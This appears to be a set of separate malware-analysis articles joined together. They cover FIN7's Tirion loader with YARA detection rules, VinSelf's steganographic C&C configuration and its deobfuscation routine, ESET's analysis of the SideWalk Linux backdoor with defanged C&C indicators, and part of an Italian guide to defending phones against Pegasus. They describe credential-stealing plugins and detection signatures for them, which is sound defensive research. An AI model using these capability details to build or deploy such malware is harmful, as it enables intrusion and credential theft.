first version used, was compiled on “Thu Mar 05 20:29:53 2020”. The following text from the “readme.txt” file written by the attackers clearly states the basic components of the malware. **English translation of the related text:** The system consists of 3 components: 1. Server 2. Client 3. Loader These components are related as follows: The loader periodically connects to the server, the client connects to the server with a permanent connection. The loader executes commands from the server and sends it responses. Through the client, the user issues commands to the loader through the server. Received responses from the loader, the server transmits to the client. ### File Structure ``` |-- client | |-- client.exe | |-- client.ini.xml | |-- jumper | | |-- 32 | | `-- 64 | | `-- l64_r11.ps1 | |-- keys | | `-- client.key | |-- libwebp_x64.dll | |-- libwebp_x86.dll | `-- plugins | `-- extra | |-- ADRecon.ps1 | |-- GetHash32.dll | |-- GetHash64.dll | |-- GetPass32.dll | |-- GetPass64.dll | |-- PswInfoGrabber32.dll | |-- PswInfoGrabber64.dll | |-- PswRdInfo64.dll | |-- powerkatz_full32.dll | |-- powerkatz_full64.dll | |-- powerkatz_short32.dll | `-- powerkatz_short64.dll |-- loader | |-- builder.exe | |-- loader32.dll | |-- loader32.exe | |-- loader32_NotReflect.dll | |-- loader64.dll | |-- loader64.exe | `-- loader64_NotReflect.dll |-- readme.txt `-- server |-- AV.lst |-- System.Data.SQLite.dll |-- ThirdScripts |-- client | `-- client.key |-- data.db |-- loader | `-- keys | |-- btest.key | `-- test.key |-- logs | |-- error | `-- info |-- plugins | |-- CommandLine32.dll | |-- CommandLine64.dll | |-- Executer32.dll | |-- Executer64.dll | |-- Grabber32.dll | |-- Grabber64.dll | |-- Info32.dll | |-- Info64.dll | |-- Jumper32.dll | |-- Jumper64.dll | |-- ListProcess32.dll | |-- ListProcess64.dll | |-- NetSession32.dll | |-- NetSession64.dll | |-- Screenshot32.dll | |-- Screenshot64.dll | |-- extra | |-- mimikatz32.dll | `-- mimikatz64.dll |-- server.exe |-- server.ini.xml |-- x64 | `-- SQLite.Interop.dll |-- x86 `-- SQLite.Interop.dll ``` ### Readme.txt The English translation of some important items of the “readme.txt” file, which indicates the changes from the first version of the malware to the “1.6.3” version and contains the build instructions, is as follows: **client 1.6.3** - The result of ADRecon work is saved in the database in the loader from which it was launched, when the tab is called again, the data loaded automatically. - Added a form for launching the script ps2x.py (PsExec). **server 1.5** - Added support for executing scripts from the ThirdScripts folder. **client 1.5** - Added plugin NetSession. The plugin collects information about the computers connected to the computer where the loader is running. **client 1.4** - Added plugin info. In the context menu, select Info and after a while in the Info field there will be the user name, domain and version of Windows. **client 1.3.3** - The “Get passwords” button has been added to the mimikatz plugin. **client 1.3.2** - Added support for RDP grabber. **client 1.3** - Added plugin mimikatz. - Added grabber plugin. **server 1.2** - Updated data transfer protocol. - Added AV definition, for this there must be an AV.lst file in the server folder. **loader** - Updated data transfer protocol. - Sending local. **server 1.1** - Added support for the jumper plugin. **client 1.1** - Added support for the jumper plugin. ### Loader Component This component of the malware that will run on victim systems is about 9kb in size and runs commands from the server. When the attacker wants to run a function on the device in the victim, the related plugin file containing this function is loaded reflectively on the victim device and filelessly executed. Network traffic between server and loader is encrypted with the key determined during the build phase. ### PswInfoGrabber It is a DLL file responsible for stealing and reporting sensitive information from the target system, especially browser and mail passwords. It was determined that the attackers also used this tool independently from Tirion Loader. ## opBlueRaven | Outro & End of Part I In the first edition of these series, we wanted to provide an intro towards our operation by comparing the latest Carbanak toolkit, as discovered by PTI, to older versions that have been publicly accessible. In the next article, we will be diving deeper into the TTPs of the attackers by also providing references from actual conversations between them. Please feel free to get in touch with us if you have further questions. **Credits:** PRODAFT Threat Intelligence Team (PTI), INVICTUS Threat Intelligence Team (ITI) **Edited by:** [k.u.] **PRODAFT & INVICTUS Out!** ## Appendix: YARA Signatures ```yara import "pe" rule apt_Fin7_Tirion_plugins { meta: author = "Yusuf A. POLAT" description = "Tirion Loader's plugins. It is used by Fin7 group. Need manual verification" version = "1.0" date = "2020-07-22" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "fdc0ec0cc895f5b0440d942c0ab60eedeb6e6dca64a93cecb6f1685c0a7b99ae" strings: $a1 = "ReflectiveLoader" ascii $a2 = "plg.dll" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 15000 and (pe.exports("[email protected]@[email protected]") or pe.exports("[email protected]@[email protected]")) } rule apt_Fin7_Tirion_PswInfoGrabber { meta: author = "Yusuf A. POLAT" description = "Tirion Loader's PswInfoGrabber plugin. It is used by Fin7 group." version = "1.0" date = "2020-07-22" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "e7d89d1f23c2c31e2cd188042436ce6d83dac571a5f30e76cbbcdfaf51e30ad9" strings: $a1 = "IE/Edge Grabber Begin" fullword ascii $a2 = "Mail Grabber Begin" fullword ascii $a3 = "PswInfoGrabber" ascii $a4 = "Chrome Login Profile: '" $a5 = "[LOGIN]:[HOST]:" condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 150KB } rule apt_Fin7_Tirion_loader { meta: author = "Yusuf A. POLAT" description = "Tirion Loader's loader component. It is used by Fin7 group." version = "1.0" date = "2020-07-22" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "e7d89d1f23c2c31e2cd188042436ce6d83dac571a5f30e76cbbcdfaf51e30ad9" strings: $a1 = "HOST_PORTS" fullword ascii $a2 = "KEY_PASSWORD" fullword ascii $a3 = "HOSTS_CONNECT" ascii $a4 = "SystemFunction036" $a5 = "ReflectiveLoader" condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 15KB } rule apt_Fin7_Carbanak_keylogplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's keylogger plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "db486e0cb94cf2bbe38173b7ce0eb02731ad9a435a04899a03d57b06cecddc4d" strings: $a1 = "SA45E91.tmp" fullword ascii $a2 = "%02d.%02d.%04d %02d:%02d" fullword ascii $a3 = "Event time:" fullword ascii $a4 = "MY_CLASS" fullword ascii $a5 = "RegisterRawInputDevices" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 15000 } rule apt_Fin7_Carbanak_procmonplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's process monitoring plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "3bf8610241a808e85e6ebaac2bb92ba4ae92c3ec1a6e56e21937efec71ea5425" strings: $a1 = "[%02d.%02d.%04d %02d:%02d:%02d]" fullword ascii $a2 = "%s open %s" fullword ascii $a3 = "added monitoring %s" fullword ascii $a4 = "pm.dll" fullword ascii $a5 = "CreateToolhelp32Snapshot" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 10000 } rule apt_Fin7_Carbanak_hdplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's hidden desktop plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "39b545c7cd26258a9e45923053a5a64c9461470c3d7bfce3be1c776b287e8a95" strings: $a1 = "hd%s%s" fullword ascii $a2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced" fullword ascii $a3 = "StartHDServer" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 15000 } rule apt_Fin7_Carbanak_hvncplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's hvnc plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "40ce820df679b59476f5d277350dca43e3b3f8cac7ec47ad638371aaa646c315" strings: $a1 = "VncStartServer" fullword ascii $a2 = "VncStopServer" fullword ascii $a3 = "RFB 003.008" fullword ascii $a4 = "-nomerge -noframemerging" fullword ascii $a5 = "--no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11" fullword wide condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 300000 } rule apt_Fin7_Carbanak_vncplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's vnc plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "ecf3679f659c5a1393b4a8b7d7cca615c33c21ab525952f8417c2a828697116a" strings: $a1 = "VncStartServer" fullword ascii $a2 = "VncStopServer" fullword ascii $a3 = "ReflectiveLoader" fullword ascii $a4 = "IDR_VNC_DLL" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 400000 } rule apt_Fin7_Carbanak_rdpplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's rdp plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "0d3f1696aae8472145400d6858b1c44ba7532362be5850dae2edbd4a40f36aa5" strings: $a1 = "sdbinst.exe" fullword ascii $a2 = "-q -n \"UAC\"" fullword ascii $a3 = "-q -u \"%s\"" fullword ascii $a4 = "test.txt" fullword ascii $a5 = "install" fullword ascii $a6 = "uninstall" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 400000 } rule apt_Fin7_Carbanak_switcherplugin { meta: author = "Yusuf A. POLAT" description = "Carbanak backdoor's switcher plugin. It is used by Fin7 group" version = "1.0" date = "2020-07-21" reference = "https://threatintelligence.blog/" copyright = "PRODAFT" SHA256 = "d470da028679ca8038b062f9f629d89a994c79d1afc4862104611bb36326d0c8" strings: $a1 = "iiGI1E05.tmp" fullword ascii $a2 = "oCh4246.tmp" fullword ascii $a3 = "inf_start" fullword ascii $a4 = "Shell_TrayWnd" fullword ascii $a5 = "ReadDirectoryChangesW" fullword ascii $a6 = "CreateToolhelp32Snapshot" fullword ascii condition: uint16(0) == 0x5A4D and (all of ($a*)) and filesize < 15000 } ```
# VinSelf Now with Steganography VinSelf is a known RAT malware already explained on other blogs. It's a family that has been long used in APT attacks. VinSelf can be recognized in two ways: the network patterns used and the strings obfuscation in the binary. The VinSelf obfuscation algorithm is quite simple, but specific enough to state that samples using it are from the same family: ```python def vinself_cipher(x, key): output = "" lkey = ord(x[0]) for i in xrange(len(x)-1): output += chr(((ord(x[i+1]) ^ ord(key[i])) - lkey) & 0xff) lkey = ord(x[i+1]) return output ``` Recently, we came across an interesting sample that, instead of connecting to a malicious C&C, was grabbing a file ("colors.bmp") from Google Docs. Due to the presence of the aforementioned algorithm, the sample had been categorized as VinSelf, so such a behavior was unexpected and confusing. ## Starting Point While the image is a valid Bitmap and can actually be displayed, it may be something more than a simple Bitmap. We have seen pieces of malware appending data at the end of legitimate/innocuous files being retrieved. For example, VinSelf itself sends encrypted data to its C&C prepended by a "GIF89a" header. Foxy also receives encrypted commands from its C&C in what seems a legitimate JPEG image, and Shady RAT is concealing commands in encrypted HTML commentaries, or inside images using real steganography. Let's look at the code following the retrieval of this file from Google Docs if there's something interesting. ## Steganography The function following the retrieval of the "colors.bmp" file is quite interesting. It is scanning the image pixel per pixel. The outermost loop is incrementing the row counter, the next one is incrementing the column counter while the innermost one is a loop among the three primary colors. The function is grabbing the LSB (Least Significant Bit) of each color of each pixel, thus generating three bits of data per pixel of the image. Once all those LSBs have been grabbed, each byte of the bitstream is reversed. ## Unciphering Now that we have extracted the hidden data, it must be unciphered: this is done in four steps: 1. The first step is the use of the VinSelf custom obfuscation algorithm with a hard-coded key in the binary. 2. The second step is another use of the VinSelf custom obfuscation algorithm with the key decoded at the previous step on the next 32 bytes of the data. 3. The third step is a decryption algorithm that was, at first, unknown to us. Thanks to the specific bitwise manipulations employed by this code (shifts and rotations) and to the quick and efficient research of our cryptoteam, it was successfully identified as HC-128, a stream cipher that is not used that much. 4. Finally, the fourth and last step is once again the use of the VinSelf custom obfuscation algorithm with the key used in the second step on the HC-128 decrypted data. ## End Point Ultimately we end up with a C&C configuration that looks like: ``` 192.168.1.101:2.2.2.2:3.3.3.3:4.4.4.4 ``` As a matter of fact, we changed the real content in the source image to not disclose the real C&C. So instead of having just one layer of obfuscation (the custom VinSelf algorithm), we end up with several layers: - The custom VinSelf algorithm encrypting the Google Docs URL. - An LSB-extraction steganography. - Two instances of the VinSelf algorithm. - An HC-128 encryption. - A final VinSelf encryption. As usual, a script to extract this information from a VinSelf BMP file has been released on our Bitbucket repository. Steganography is not just for hipsters; it is still being used nowadays.
# You Never Walk Alone: The SideWalk Backdoor Gets a Linux Variant ESET researchers have uncovered another tool in the already extensive arsenal of the SparklingGoblin APT group: a Linux variant of the SideWalk backdoor. This variant was deployed against a Hong Kong university in February 2021, the same university that had already been targeted by SparklingGoblin during the student protests in May 2020. We originally named this backdoor StageClient, but now refer to it simply as SideWalk Linux. We also discovered that a previously known Linux backdoor – the Specter RAT, first documented by 360 Netlab – is also actually a SideWalk Linux variant, having multiple commonalities with the samples we identified. SparklingGoblin is an APT group whose tactics, techniques, and procedures (TTPs) partially overlap with APT41 and BARIUM. It makes use of Motnug and ChaCha20-based loaders, the CROSSWALK and SideWalk backdoors, along with Korplug (aka PlugX) and Cobalt Strike. While the group targets mostly East and Southeast Asia, we have also seen SparklingGoblin targeting a broad range of organizations and verticals around the world, with a particular focus on the academic sector. SparklingGoblin is one of the groups with access to the ShadowPad backdoor. This blog post documents SideWalk Linux, its victimology, and its numerous similarities with the originally discovered SideWalk backdoor. ## Attribution The SideWalk backdoor is exclusive to SparklingGoblin. In addition to the multiple code similarities between the Linux variants of SideWalk and various SparklingGoblin tools, one of the SideWalk Linux samples uses a C&C address (66.42.103[.]222) that was previously used by SparklingGoblin. Considering all of these factors, we attribute with high confidence SideWalk Linux to the SparklingGoblin APT group. ## Victimology Even though there are various SideWalk Linux samples on VirusTotal, in our telemetry we have found only one victim compromised with this SideWalk variant: a Hong Kong university that, amidst student protests, had previously been targeted by both SparklingGoblin (using the Motnug loader and the CROSSWALK backdoor) and Fishmonger (using the ShadowPad and Spyder backdoors). Note that at that time we put those two different clusters of activity under the broader Winnti Group denomination. SparklingGoblin first compromised this particular university in May 2020, and we first detected the Linux variant of SideWalk in that university’s network in February 2021. The group continuously targeted this organization over a long period of time, successfully compromising multiple key servers, including a print server, an email server, and a server used to manage student schedules and course registrations. ## The Road to SideWalk Linux SideWalk, which we first described in its Windows form in our blog post on August 24th, 2021, is a multipurpose backdoor that can load additional modules sent from the C&C server. It makes use of Google Docs as a dead-drop resolver and Cloudflare workers as its C&C server. It can properly handle communication behind a proxy. The compromise chain is currently unknown, but we think that the initial attack vector could have been exploitation. This hypothesis is based on the 360 Netlab article describing the Specter botnet targeting IP cameras, NVR, and DVR devices, and the fact that the Hong Kong victim used a vulnerable WordPress server, since there were many attempts to install various webshells. We first documented the Linux variant of SideWalk as StageClient on July 2nd, 2021, without making the connection at that time to SparklingGoblin and its custom SideWalk backdoor. The original name was used because of the repeated appearances of the string StageClient in the code. While researching StageClient further, we found a blog post about the Specter botnet described by 360 Netlab. That blog post describes a modular Linux backdoor with flexible configuration that uses a ChaCha20 encryption variant – basically a subset of StageClient’s functionality. Further inspection confirmed this hypothesis; we additionally found a huge overlap in functionality, infrastructure, and symbols present in all the binaries. We compared the StageClient sample E5E6E100876E652189E7D25FFCF06DE959093433 with Specter samples 7DF0BE2774B17F672B96860D013A933E97862E6C and found numerous similarities, some of which we list below. First, there is an overlap in C&C commands. Next, the samples have the same structure of configuration and encryption method. Additionally, the samples’ modules are managed in almost the same way, and the majority of the interfaces are identical; modules of StageClient only need to implement one additional handler, which is for closing the module. Three out of the five known modules are almost identical. Lastly, we could see striking overlaps in the network protocols of the compared samples. A variant of ChaCha20 is used twice for encryption with LZ4 compression in the very same way. Both StageClient and Specter create a number of threads to manage sending and receiving asynchronous messages along with heartbeats. Despite all these striking similarities, there are several changes. The most notable ones are the following: - The authors switched from the C language to C++. The reason is unknown, but it should be easier to implement such modular architecture in C++ due to its polymorphism support. - An option to exchange messages over HTTP was added. - Downloadable plugins were replaced with precompiled modules that fulfill the same purpose; a number of new commands and two new modules were added. - Added the module TaskSchedulerMod, which operates as a built-in cron utility. Its cron table is stored in memory; the jobs are received over the network and executed as shell commands. - Added the module SysInfoMgr, which provides information about the underlying system such as the list of installed packages and hardware details. These similarities convince us that Specter and StageClient are from the same malware family. However, considering the numerous code overlaps between the StageClient variant used against the Hong Kong university in February 2021 and SideWalk for Windows, we now believe that Specter and StageClient are both Linux variants of SideWalk, so we have decided to refer to them as SideWalk Linux. ## Similarities with the Windows Variant SideWalk Windows and SideWalk Linux share too many similarities to describe within the confines of this blog post, so here we only cover the most striking ones. ### ChaCha20 An obvious similarity is noticeable in the implementations of ChaCha20 encryption: both variants use a counter with an initial value of 0x0B, which was previously mentioned in our blog post as a specificity of SideWalk’s ChaCha20 implementation. ### Software Architecture One SideWalk particularity is the use of multiple threads to execute one specific task. We noticed that in both variants there are exactly five threads executed simultaneously, each of them having a specific task. The following list describes the function of each; the thread names are from the code: - **StageClient::ThreadNetworkReverse**: If a connection to the C&C server is not already established, this thread periodically attempts to retrieve the local proxy configuration and the C&C server location from the dead-drop resolver. If the previous step was successful, it attempts to initiate a connection to the C&C server. - **StageClient::ThreadHeartDetect**: If the backdoor did not receive a command in the specified amount of time, this thread can terminate the connection with the C&C server or switch to a “nap” mode that introduces minor changes to the behavior. - **StageClient::ThreadPollingDriven**: If there is no other queued data to send, this thread periodically sends a heartbeat command to the C&C server that can additionally contain the current time. - **StageClient::ThreadBizMsgSend**: This thread periodically checks whether there is data to be sent in the message queues used by all the other threads and, if so, processes it. - **StageClient::ThreadBizMsgHandler**: This thread periodically checks whether there are any pending messages received from the C&C server and, if so, handles them. ### Configuration As in SideWalk Windows, the configuration is decrypted using ChaCha20. ### Checksum First, before decrypting, there is a data integrity check. This check is similar in both implementations of SideWalk: an MD5 hash is computed on the ChaCha20 nonce concatenated to the encrypted configuration data. This hash is then checked against a predefined value, and if not equal, SideWalk exits. ### Layout The SideWalk Linux config contains less information than the SideWalk Windows one. This makes sense because the majority of the configuration artifacts in SideWalk Windows are used as cryptography and network parameters, whereas most of these are internal in SideWalk Linux. ### Decryption Using ChaCha20 As previously mentioned, SideWalk uses a main global structure to store its configuration. This configuration is first decrypted using the modified implementation of ChaCha20. Note that the ChaCha20 key is exactly the same in both variants, strengthening the connection between the two. ### Dead-Drop Resolver The dead-drop resolver payload is identical in both samples. The delimiters are identical, as well as the whole decoding algorithm. ### Victim Fingerprinting In order to fingerprint the victim, different artifacts are gathered on the victim’s machine. We noticed that the fetched information is exactly the same, to the extent of it even being fetched in the same order. As the boot time in either case is a Windows-compliant time format, we can hypothesize that the operators’ controller runs under Windows, and that the controller is the same for both Linux and Windows victims. Another argument supporting this hypothesis is that the ChaCha20 keys used in both implementations of SideWalk are the same. ### Communication Protocol The communication protocol between the infected machine and the C&C is HTTP or HTTPS, depending on the configuration, but in both cases, the data is serialized in the same manner. Not only is the implementation very similar, but the identical encryption key is used in both implementations, which accentuates the similarity between the two variants. ### POST Requests In the POST requests used by SideWalk to fetch commands and payloads from the C&C server, one noticeable point is the use of the two parameters gtsid and gtuvid. Identical parameters are used in the Linux variant. ### Commands Only four commands are not implemented or implemented differently in the Linux variant. All the other commands are present – even with the same IDs. | Command ID (from C&C) | Windows Variants | Linux Variants | |-----------------------|------------------|-----------------| | 0x7C | Load a plugin sent by the C&C server. | Not implemented in SideWalk Linux. | | 0x82 | Collect domain information about running processes, and owners (owner SID, account name, process name, domain information). | Do nothing. | | 0x8C | Data serialization function. | Commands that are not handled, but fall in the default case, which is broadcasting a message to all the loaded modules. | | 0x8E | Write the received data to the file located at %AllUsersProfile%\UTXP\nat\<filename>, where <filename> is a hash of the value returned by VirtualAlloc at each execution of the malware. | | ### Versioning In the Linux variant, we observed a specificity that was not found in the Windows variant: a version number is computed. ### Plugins In SideWalk Linux variants, modules are built in; they cannot be fetched from the C&C server. That is a notable difference from the Windows variant. Some of those built-in functionalities, like gathering system information (SysInfoMgr, for example) such as network configuration, are done directly by dedicated functions in the Windows variant. In the Windows variant, some plugins can be added through C&C communication. ## Defense Evasion The Windows variant of SideWalk goes to great lengths to conceal the objectives of its code. It trimmed out all data and code that was unnecessary for its execution and encrypted the rest. On the other hand, the Linux variants contain symbols and leave some unique authentication keys and other artifacts unencrypted, which makes the detection and analysis significantly easier. Additionally, the much higher number of inlined functions in the Windows variant suggests that its code was compiled with a higher level of compiler optimizations. ## Conclusion The backdoor that was used to attack a Hong Kong university in February 2021 is the same malware family as the SideWalk backdoor, and actually is a Linux variant of the backdoor. This Linux version exhibits several similarities with its Windows counterpart along with various novelties. For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected]. ESET Research now also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. ## IoCs A comprehensive list of Indicators of Compromise and samples can be found in our GitHub repository. ### ESET Detection | SHA-1 | Filename | Name | Description | |-------|----------|------|-------------| | FA6A40D3FC5CD4D975A01E298179A0B36AA02D4E | ssh_tunnel1_0 | Linux/SideWalk.L | SideWalk Linux (StageClient variant) | | 7DF0BE2774B17F672B96860D013A933E97862E6C | hw_ex_watchdog.exe | Linux/SideWalk.B | SideWalk Linux (Specter variant) | ### Network | Domain | IP | First Seen | Notes | |--------|----|------------|-------| | rec.micosoft[.]ga | 172.67.8[.]59 | 2021-06-15 | SideWalk C&C server (StageClient variant) | | 66.42.103[.]222 | 2020-09-25 | SideWalk C&C server (Specter variant from 360 Netlab’s blog post) | ### MITRE ATT&CK Techniques | Tactic | ID | Name | Description | |--------|----|------|-------------| | Resource Development | T1587.001 | Develop Capabilities: Malware | SparklingGoblin uses its own malware arsenal. | | Discovery | T1016 | System Network Configuration Discovery | SideWalk Linux has the ability to find the network configuration of the compromised machine, including the proxy configuration. | | Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | SideWalk Linux communicates via HTTPS with the C&C server. | | Encrypted Channel | T1573.001 | Symmetric Cryptography | SideWalk Linux uses ChaCha20 to encrypt communication data. |
# “Pegasus”, lo spyware per smartphone. Come funziona e come ci si può proteggere? Uno degli eventi più importanti nel mondo cibernetico nel 2021 è rappresentato dai risultati di un’indagine condotta dal Guardian e da altre 16 organizzazioni mediatiche, che ha rilevato che più di 30.000 attivisti per i diritti umani, giornalisti e avvocati in tutto il mondo potrebbero essere stati presi di mira con lo spyware Pegasus, sviluppato dalla società israeliana NSO. Il rapporto pubblicato nel luglio 2021, intitolato “Pegasus Project”, sostiene che il malware è stato distribuito su larga scala attraverso vari exploit, tra cui diversi zero-days che hanno preso di mira i sistemi iOS. Sulla base di analisi forensi di numerosi dispositivi mobili, il laboratorio di sicurezza di Amnesty International ha effettivamente scoperto che il software è stato ripetutamente utilizzato in modo improprio per scopi di sorveglianza. L’elenco delle persone prese di mira comprende 14 leader mondiali e un gran numero di attivisti, difensori dei diritti umani, dissidenti ed esponenti dell’opposizione. Più tardi nello stesso mese, quando è stato pubblicato il rapporto del Guardian e di Amnesty, funzionari del governo israeliano hanno visitato gli uffici della NSO nell’ambito di un’indagine sulle accuse. Nell’ottobre 2021, la Corte Suprema indiana ha nominato un comitato tecnico per indagare sull’uso di Pegasus per spiare i cittadini. A novembre, Apple ha annunciato l’avvio di un’azione legale contro NSO Group per aver sviluppato un software che colpisce i suoi utenti con malware e spyware. Infine, nel dicembre 2021, Reuters ha pubblicato che i telefoni del Dipartimento di Stato americano, allertati da Apple, sono stati violati con il malware Pegasus di NSO. Nel 2022, le rivelazioni sono continuate: il 2 maggio 2022, il governo spagnolo ha annunciato che il primo ministro Pedro Sánchez e il ministro della Difesa Margarita Robles erano entrambi monitorati da Pegasus. In seguito a queste rivelazioni, il governo spagnolo ha immediatamente licenziato il capo dei servizi segreti del Paese, Paz Esteban. Rilevare le tracce di Pegasus e di altre infezioni malware avanzate per dispositivi mobili è molto difficile ed è ulteriormente complicato dalle caratteristiche di sicurezza dei moderni sistemi operativi come iOS e Android. Secondo le osservazioni, la loro analisi è resa ancora più difficile dal fatto che si tratta di distribuzioni di malware non persistenti, che non lasciano quasi alcuna traccia dopo il riavvio del dispositivo infetto. Poiché molti strumenti forensi richiedono un jailbreak del dispositivo, il malware viene rimosso dalla memoria durante il riavvio, necessario per questa operazione. Fortunatamente, ad oggi, è possibile utilizzare diversi metodi per rilevare Pegasus e altri malware mobili. Ad esempio, il Mobile Verification Toolkit (MVT) di Amnesty International è gratuito, open source e consente a tecnici e investigatori di ispezionare i telefoni cellulari alla ricerca di segni di infezione. L’MVT è supportato da un elenco di IoC (indicatori di compromissione) compilato da casi di alto profilo di abuso dei diritti umani, reso disponibile anche da Amnesty International. In questi tempi di incertezza, molti utenti preoccupati in tutto il mondo si chiedono come proteggere i propri dispositivi mobili da Pegasus e da altri strumenti e malware simili. Allo stesso modo, i governi stanno cercando di valutare le proprie debolezze e di sviluppare strategie per identificare tali vulnerabilità, o almeno per evitare che si verifichino in futuro. In questo articolo esamineremo le più recenti tecniche di attacco utilizzate per distribuire malware sui telefoni cellulari e come difendersi da esse, tenendo presente che un elenco di tecniche di difesa non è esaustivo. Inoltre, poiché gli aggressori cambiano il loro modus operandi, anche le tecniche di difesa esistenti devono essere adattate molto frequentemente. ## Come si fa a stare al sicuro dalle minacce informatiche mobili più sofisticate? Innanzitutto, va detto che Pegasus è un kit di strumenti dal prezzo relativamente alto. Il costo di un’implementazione completa può raggiungere facilmente i milioni di dollari. Allo stesso modo, altre minacce informatiche mobili possono essere distribuite attraverso exploit 0-click 0-day. Questi sono estremamente costosi: ad esempio, Zerodium, una società di intermediazione di exploit, richiede fino a 2,5 milioni di dollari per una catena di infezioni Android 0-click con persistenza avanzata. Si può trarre subito una conclusione importante: lo spionaggio informatico sofisticato è un’attività che richiede molte risorse. Quando uno sponsor può permettersi di spendere milioni, o addirittura decine di milioni o centinaia di milioni di dollari USA in programmi offensivi, è altamente improbabile che un obiettivo possa evitare di essere infettato. In pratica, non si tratta di “se si può essere infettati”, ma quando e come: è, infatti, solo una questione di tempo e del prima che voi siate infettati, grazie alle risorse corrispondenti ai vostri strumenti e al loro livello di sicurezza. La buona notizia è che lo sviluppo di exploit e la guerra informatica offensiva sono spesso più un’arte che una scienza esatta. Gli exploit devono essere adattati a versioni specifiche del sistema operativo e dell’hardware e possono essere facilmente vanificati da nuovi sistemi operativi, nuove tecniche di mitigazione o persino da piccole cose come eventi casuali. Da questo punto di vista, l’infezione e il bersaglio sono anche una questione di costi e difficoltà per gli aggressori. Sebbene non sia sempre possibile impedire lo sfruttamento e l’infezione di un dispositivo mobile, possiamo cercare di renderlo il più difficile possibile per gli aggressori. ## Come lo facciamo nella pratica? Ecco una semplice lista di controllo: ### Su iOS: a) **Riavviare ogni giorno.** Secondo le ricerche di Amnesty e CitizenLab, la catena di infezione di Pegasus si basa spesso su clic quotidiani senza persistenza, per cui un riavvio regolare ripulisce il dispositivo. Se il dispositivo viene riavviato quotidianamente, gli aggressori dovranno reinfettarlo più volte. A lungo andare, questo aumenta le possibilità di rilevamento; potrebbe verificarsi un arresto anomalo o l’installazione di semplici app che rivelano un’infezione di natura stealth. b) **Disattivare iMessage.** iMessage è integrato in iOS ed è abilitato per impostazione predefinita, il che lo rende un interessante vettore di sfruttamento. Essendo abilitato per impostazione predefinita, è un meccanismo di consegna privilegiato per le stringhe da 0 clic. c) **Disattivare Facetime.** Come sopra. d) **Mantenere aggiornato il dispositivo mobile; installare le ultime patch di iOS non appena disponibili.** Non tutti possono permettersi di utilizzare le vulnerabilità 0-day. In effetti, la maggior parte dei kit di exploit per iOS di cui siamo a conoscenza mira a vulnerabilità che sono già state corrette. Tuttavia, molte persone utilizzano telefoni più vecchi e rimandano gli aggiornamenti per vari motivi. e) **Non cliccate mai sui link ricevuti nei messaggi SMS.** È un consiglio semplice ma efficace. Non tutti i clienti di Pegasus possono permettersi di acquistare catene di 0-day da milioni di dollari, quindi si affidano a exploit da 1 clic. Queste arrivano sotto forma di messaggio, a volte via SMS, ma anche tramite altri servizi di messaggistica o persino via e-mail. f) **Navigare in Internet con un browser non nativo, come Firefox Focus, invece di Safari o Chrome.** Sebbene tutti i browser su iOS utilizzino praticamente lo stesso motore di ricerca, Webkit, alcuni exploit non funzionano bene su alcuni browser alternativi. g) **Utilizzate sempre una VPN che mascheri il vostro indirizzo IP e il traffico dati.** Alcuni exploit vengono trasmessi da attacchi MitM tramite l’operatore GSM, durante la navigazione di siti HTTP o tramite DNS hijacking. h) **Installare un’applicazione di sicurezza che controlli e avverta se il dispositivo è jailbroken.** Frustrati dal fatto di essere presi a calci nel sedere più e più volte, gli aggressori finiranno per implementare un meccanismo di persistenza e “jailbreakare” il vostro dispositivo. i) **Eseguire il backup di iTunes una volta al mese.** Ciò consente di diagnosticare e individuare le infezioni in un secondo momento. j) **Attivare spesso i sysdiag e salvarli in backup esterni.** Gli strumenti forensi possono aiutarvi a determinare in seguito se siete stati presi di mira. ### Su Android: a) **Riavviare ogni giorno.** La persistenza sulle ultime versioni di Android è difficile, molti APT e fornitori di exploit evitano la persistenza! b) **Mantenere il telefono aggiornato; installare le ultime patch.** c) **Non cliccate mai sui link ricevuti nei messaggi SMS.** d) **Navigare in Internet con un altro browser come Firefox Focus invece di Chrome.** e) **Utilizzate sempre una VPN che mascheri il vostro indirizzo IP e il traffico dati.** f) **Installare una suite di sicurezza che esegua la scansione del malware e controlli e avvisi se il dispositivo è jailbroken.** A un livello più sofisticato, verificate sempre il traffico di rete utilizzando gli IOC dal vivo. ## Una partita a punteggio zero? Ryan Naraine, un noto commentatore di sicurezza, ha dichiarato: “iMessage e FaceTime – questi sono i motivi per cui la gente usa gli iPhone!” E ha ragione: iMessage e FaceTime sono due delle migliori 